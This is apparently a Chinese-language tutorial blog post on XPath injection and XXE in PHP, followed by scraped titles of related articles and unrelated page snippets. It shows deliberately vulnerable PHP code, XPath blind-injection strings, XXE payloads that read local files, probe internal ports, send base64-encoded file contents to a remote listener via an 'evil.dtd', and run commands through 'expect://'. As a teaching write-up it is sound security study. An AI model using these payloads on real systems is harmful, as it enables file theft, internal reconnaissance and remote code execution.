0x00前言:

本文主要小结以下php下的xpath查询xml结构的漏洞利用和XXE漏洞利用

xml是可扩展标记语言,它被设计出来是为了存储传输数据的。

它的结构是树形结构,并且标签要成对出现比如下面这个例子

<?xml version="1.0" encoding="utf-8"?>
<root>
  <name>sijidou</name>
  <from>
   <country>China</country>
  <city>xxxxx</city>
  </from>
</root>

把上面的代码画个示意图

0x01xpath注入:

因为xml的产生是用于存储和传输数据的

既然能够存储数据,那么本质上和数据库一样是能够被增删改查的

虽然它在实际中不像数据库一样是来存大量用户数据的,但是xml在存储配置信息上还是十分有用的

就像sql注入一样,xml文件也可以被注入,并且xml没有管理用户一说,即能访问xml文件的话,对该xml的权限是一致的

首先准备下存储数据的xml文件

<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>sijidou</name>
<from>
<country>China</country>
<city>Jiangsu</city>
</from>
<name>miku</name>
<from>
<country>Janpan</country>
<city>null</city>
</from>
<name>Rose</name>
<from>
<country>US</country>
<city>London</city>
</from>
</root>

接下来使用php进行数据读取的操作

simplexml_load_file是读取xml文件

xpath是查询语句,结果以数组返回给$result。查询语句结构是每个节点间用 "/" 来隔开,之后使用标签和键值匹配的结果

<?php
$xml = simplexml_load_file("sijidou.xml");
$result = $xml->xpath("/root[name = 'sijidou']");
var_dump($result);
?>

这里将不同的查询语句和输出结果展示如下

查询语句

$result = $xml->xpath("/root/name");

输出值

array(3) { 
  [0]=> object(SimpleXMLElement)#2 (1) {
    [0]=> string(7) "sijidou"
  }
  [1]=> object(SimpleXMLElement)#3 (1) {
    [0]=> string(4) "miku"
  }
  [2]=> object(SimpleXMLElement)#4 (1) {
    [0]=> string(4) "Rose"
  }
}

查询语句

$result = $xml->xpath("/root[name = 'sijidou']");

输出值

array(1) { 
  [0]=> object(SimpleXMLElement)#2 (2) {
    ["name"]=> array(3) {
      [0]=> string(7) "sijidou"
      [1]=> string(4) "miku"
      [2]=> string(4) "Rose"
    }
    ["from"]=> array(3) {
      [0]=> object(SimpleXMLElement)#3 (2) {
        ["country"]=> string(5) "China"
        ["city"]=> string(7) "Jiangsu"
      }
      [1]=> object(SimpleXMLElement)#4 (2) {
        ["country"]=> string(6) "Janpan"
        ["city"]=> string(4) "null"
      }
      [2]=> object(SimpleXMLElement)#5 (2) {
        ["country"]=> string(2) "US"
        ["city"]=> string(6) "London"
      }
    }
  }
}

查询语句

$result = $xml->xpath("/root/from[country = 'China']");

输出值

array(1) { 
  [0]=> object(SimpleXMLElement)#2 (2) {
    ["country"]=> string(5) "China"
    ["city"]=> string(7) "Jiangsu"
  }
}

从上面的结果看得出来,查询如果不是用[键='值']这种方式的查询,只会返回所有路径标签的值

如果带有[键='值']的查询,会返回和该路径相同的所有路径和该类路径之下节点的所有的值

那么查询语句结构大致清楚了,作为被存储数据的文件,一般会把某个值用户可控,然后拼接语句进行搜索

<?php
$country = $_GET["country"];
$xml = simplexml_load_file("sijidou.xml");
$result = $xml->xpath("/root/from[country = '" . $country . "']");
var_dump($result);
?>

正常的输入China,那么就会返回China和Jiangsu 2个值,但是xml查询语句有一些特殊的关键字,先介绍2个基础有用的

or      或 
and     与

那么我们子GET的值传入country = '1' or '1'='1,可以看到能查看到所有<from>的值,之前如果输入country=China,只能看到包含China的<from>标签里面的值

那么列出xml文件的所有元素

']|//* |a['
拼接成完整的语句是
/root/from[country = '']|//* |a['']

那么其中涉及到一些特殊表示

|   有点像linux系统命令的 && 来表示新的查询语言起始
//* 根路径下的所有参数 *是通配符

有时候没有回显的时候,就要利用判断语句进行盲注了

判断节点个数

1' or count(/*)=1 and '1'='1

猜字段内容,查根节点的名字,如果按照我上面的xml文件,这里就是root

1' or substring(name(/*[position()=1]),1,1)='r' and '1'='1
1' or substring(name(/*[position()=1]),2,1)='o' and '1'='1

猜字段内容,查根节点<root>下一个节点的名字,这里是<name>

1' or substring(name(/root/*[position()=1]),1,1)='n' and '1'='1

判断根节点的下一个节点个数

1' or count(/root/*)=3 and '1'='1

猜节点里面内容

#查China节点
1' or substring(/root/from/country,1,1)='C' and '1'='1
#如果是查Janpan节点的话,要在前面的from加个下标
1' or substring(/root/from[2]/country,1,1)='J' and '1'='1

当然还有很多利用方法,有一个叫xcat的python工具可以进行测试,有兴趣的可以去尝试

https://github.com/orf/xcat

防御手段可以通过转义单引号或者关键字识别来达到阻止注入。

0x02XXE:

XXE叫做XML外部实体注入

现在传送数据的手段除了xml,还有json了,如果说两者有什么不同,xml是树形结构,而json是键值对的关系,json的2个数据间没有结构上的关系

一般的xml文件是这样的

<?xml version="1.0" encoding="utf-8"?>
<root>
  <name>sijidou</name>
  <from>
   <country>China</country>
  <city>xxxxx</city>
  </from>
</root>

这种无法就是存储和被当做数据传递,并没有执行什么可疑的操作

但是xml有个叫做DTD(Document Type Definition)的东西

它可以规定xml里面的元素的行为,它的存在形式可以嵌套在xml文件里面,也可以单独成为一个文件,xml要使用其规则就直接添加一行引入就行

观察xml和dtd的约束规律,理论上要写java或者php或其他编程语言来检查文件,或报错。但是菜鸟教程上有个页面可以验证是否正确,但是要IE浏览器

http://www.runoob.com/xml/xml-validator.html

内部申明

<!DOCTYPE 根元素 [元素声明]>

套入上面的例子中

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (name,from)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT from (country,city)>
<!ELEMENT country (#PCDATA)>
   <!ENTITY wa "China">
   <!ELEMENT city (#PCDATA)>
]>
<root>
<name>sijidou</name>
<from><country>&wa;</country><city>xxxx</city>
</from>
</root>

丢到刚刚推荐的网页上去检查

假设删掉一个city的元素声明,就报错了

DTD来规定xml意味着,DTD申明的元素下面xml必须包含,并且只能含有DTD申明的元素,(#PCDATA)为可读取的字段, (name, from)表示还包含子节点,它是个根节点或者中间节点

DOCTYPE可以理解为DTD文件起始,ELEMENT是对每个节点的规定,ENTITY给变量赋值,也就像编程时候的常数变量

外部申明

<!DOCTYPE 根元素 SYSTEM "文件名">

把规则先写到一个单一的文件夹下,test_dtd.dtd

<!ELEMENT root (name,from)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT from (country,city)>
<!ELEMENT country (#PCDATA)>
<!ENTITY wa "China">
<!ELEMENT city (#PCDATA)>

然后在xml中引入该文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root SYSTEM "test_dtd.dtd">
<root>
<name>sijidou</name>
<from>
<country>&wa;</country>
<city>xxxx</city>
</from>
</root>

XXE这种攻击手段就是通过外部申明实体来完成的,因为

<!DOCTYPE root SYSTEM "file">  因为有时候是从web其他的站点引入dtd文件的,所以这个file可以带协议头,比如file://,php://filter之类的

再者可以通过ENTITY来输出变量的值,变量的值也可以是文件

那么我们可以利用把文件内容赋值给变量,然后再输出变量,就把文件内容输出来了

读取文件内容

漏洞源码

<?php
$xmlfile =file_get_contents('php://input');
$xml = simplexml_load_string($xmlfile);
$xxe = $xml->xxe;
$str = "$xxe";
echo $str;
?>

然后是漏洞利用poc

<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "file:///c:/windows/win.ini">
]>
<root>
<xxe>&c;</xxe>
</root>

看到可以成功读取我本地电脑上的c:/windows/win.ini文件了,但是貌似只能支持绝对路径

端口扫描

扫描端口是利用http协议,带上目标端口地址的ip,当然请求是目标服务器发出的所以只要连了内网还能扫描内网的端口

<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "http://127.0.0.1:80">
]>
<root>
<xxe>&c;</xxe>
</root>

成功的回显

失败的回显

通过DTD进行信息回显

因为有时候xml是注入进去了,但是没有回显,比如以下情况

<?php
$xmlfile =file_get_contents('php://input');
$xml = simplexml_load_string($xmlfile);
?>

发送情况,啥都没有,但是xml是进行了加载的

那么可以通过dtd文件进行回显

原理是用加载远程的dtd文件,然后通过远程的dtd文件把file文件内容以url后面参数的形式发给远程服务器,url的get参数会记录在日志中,于是就能获得文件内容

本地发送的payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % send SYSTEM "http://10.10.10.128/evil.dtd">
%send;
]>
<root>&xml;</root>

远程的evil.dtd文件

<?xml version="1.0" encoding="utf-8"?>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/windows/win.ini">
<!ENTITY % payload "<!ENTITY xml SYSTEM 'http://10.10.10.128:2333/record?text=%file;'>">
%payload;

这里的 %[空格]file 表示file这个变量,参数是 SYSTEM "..."

使用变量即%file;,之后那个单独的%payload;那一行,表示执行第三行<!ENTITY % payload .....>这条语句,不加就不会执行

利用方式,首先在远程服务器上监听2333端口

然后,burpsuite把poc发过去

回头这边的远程服务器接收到了数据了

看看wireshark的流量,也可也看到get请求

再把base64解个码就是文件的内容了

这里特别要注意几个点,因为最先测试的时候,并没有完全使用网上的poc,想试着手写以下,然后无法回显,最后仔细研究了下

参考的XXE文章没有提到

发送的payload的

<root>&xml;</root>

要和远程服务器上的evil.dtd中的为payload参数的 <!ENTITY xml SYSTEM ....>里面这个xml参数要一模一样,不然无法利用成功

<!ENTITY % payload "<!ENTITY xml SYSTEM 'http://10.10.10.128:2333/record?text=%file;'>">

还有一点,因为win.ini里面有空格换行或者其他奇怪的字符,如果直接发送给远程服务器当get会不和规范,所以借助php://filter进行编码处理

 远程代码执行

这种情况需要php安装并启用expect插件,那么在xxe的时候能够使用expect协议进行远程代码执行

<?xml version="1.0"?>
<!DOCTYPE root[
<!ENTITY c SYSTEM "expect://dir">
]>
<root>
<xxe>&c;</xxe>
</root>

0x03无法利用:

我搭建的环境是win10 + phpstudy,最先使用的php版本是5.6,发现并无法利用xxe,然后测试了下所有的phpstudy上的php版本

发现5.4及以下能够利用,而5.5及以上都无法利用

从这篇文章中找到了答案:https://www.jianshu.com/p/7325b2ef8fc9

原因是xmllib2.9.0以后,是默认不解析外部实体的

这里我的php5.4的xmllib是2.7.8的

切换成php5.5,发现xmllib是2.9.4的了

0xFF结语:

参考链接

xml的攻击手段:https://www.cnblogs.com/lcamry/p/5736998.html

xpath的基础介绍:http://www.w3school.com.cn/xpath/xpath_syntax.asp

xpath注入利用:http://netsecurity.51cto.com/art/201401/427521.htm

        https://www.cnblogs.com/backlion/p/8554749.html

XXE参考:https://www.cnblogs.com/ESHLkangi/p/9245404.html

     https://www.cnblogs.com/ESHLkangi/p/9246327.html

     https://www.freebuf.com/articles/web/177979.html

     https://www.cnblogs.com/r00tuser/p/7255939.html

     https://www.jianshu.com/p/7325b2ef8fc9

源码丢github上了:https://github.com/SiJiDo/WEB/tree/master/XML

XML相关的安全漏洞-XXE,XPATH小结的更多相关文章

  1. XML外部实体注入漏洞(XXE)

    转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...

  2. Xml外部实体注入漏洞

    Xml外部实体注入漏洞(XXE) Xml介绍 XML 不是 HTML 的替代. XML 和 HTML 为不同的目的而设计: XML 被设计为传输和存储数据,其焦点是数据的内容. HTML 被设计用来显 ...

  3. XML相关知识

    XML的定义:  XML即可扩展标记语言标记是指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种信息的文章等.如何定义这些标记,既可以选择国际通用的标记语言,比如HTML,也可以使用 ...

  4. 雷林鹏分享:XML 相关技术

    XML 相关技术 下面是一个 XML 技术的列表. XHTML (可扩展 HTML) 更严格更纯净的基于 XML 的 HTML 版本. XML DOM (XML 文档对象模型) 访问和操作 XML 的 ...

  5. Pikachu-XXE(xml外部实体注入漏洞)

    XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...

  6. WEB漏洞——XXE

    XXE漏洞又称XML外部实体注入(XML External Entity) 介绍XXE漏洞前先说一下什么是XML XML语言 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据定义数据类 ...

  7. XXE(xml外部实体注入漏洞)

    实验内容 介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复. 影响版本: libxml2.8.0版本 漏洞介绍 XXE Injection即XML External Entity Inje ...

  8. 【JAVA XXE攻击】微信支付官方回应XML外部实体注入漏洞

    官方回应连接:https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5 其中明确指出了代码修改的地方. 然后看到此文档后,我就改公司项 ...

  9. [NCTF2019]Fake XML cookbook-1|XXE漏洞|XXE信息介绍

    1.打开之后显示如图所示: 2.根据题目名字就能看出来和xml有关,和xml有关的那就是注入,brup抓包看下数据包,结果如下: 3.查看post数据,确实很像xml实体注入,那就进行尝试以下,将po ...

随机推荐

  1. Confluence 6 设置 Oracle 数据库准备

    请查看 Supported Platforms 页面来获得 Confluence 系统支持的 Oracle 数据库版本.你需要在安装 Confluence 之前升级你的 Oracle 数据库. 如果你 ...

  2. http之理解304

    原文:http://www.cnblogs.com/ziyunfei/archive/2012/11/17/2772729.html 如果客户端发送的是一个条件验证(Conditional Valid ...

  3. rpm命令用法小结

    rpm 是用来管理 Redhat系列的包管理工具: 通过将打包编译好的程序包文件放置在各自的位置上,就完成了安装: rpm   [OPTIONS]   PACHAGE_FILE 1 安装:: -i : ...

  4. EasyUI Layout 添加、删除、折叠、展开布局

    <!DOCTYPE html> <html> <head> <title>吹泡泡的魚-主页</title> <link rel=&qu ...

  5. laravel Blade 模板引擎

    与视图文件紧密关联的就是模板代码,我们在视图文件中通过模板代码和 HTML 代码结合实现视图的渲染.和很多其他后端语言不同,PHP 本身就可以当做模板语言来使用,但是这种方式有很多缺点,比如安全上的隐 ...

  6. python(4): regular expression正则表达式/re库/爬虫基础

    python 获取网络数据也很方便 抓取 requests 第三方库适合做中小型网络爬虫的开发, 大型的爬虫需要用到 scrapy 框架 解析 BeautifulSoup 库, re 模块 (一) r ...

  7. Nginx详解一:Nginx基础篇之环境准备

    环境确认: 1.确认系统网络可用 2.确认yum源可用 3.确认关闭iptabkes规则 查看是否有iptabkes规则:iptables -L 如果有的话:iptables -F关闭 保险起见也看看 ...

  8. shell 脚本加密

    日常编写shell脚本时会写一些账号和密码写入脚本内,但是不希望泄露账号密码,所以对shell脚本进行加密变成可执行文件. 主要使用 shc 对 Linux shell 脚本加密,shc是一个专业的加 ...

  9. python发送邮件(在邮件中显示HTMLTestRunner生成的报告)

    import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart f ...

  10. ***小程序wx.getUserInfo不能弹出授权窗口后的解决方案

    微信更新api后,wx.getUserInfo在开发和体验版本都不能弹出授权窗口.微信文档说明: 注意:此接口有调整,使用该接口将不再出现授权弹窗,请使用 <button open-type=& ...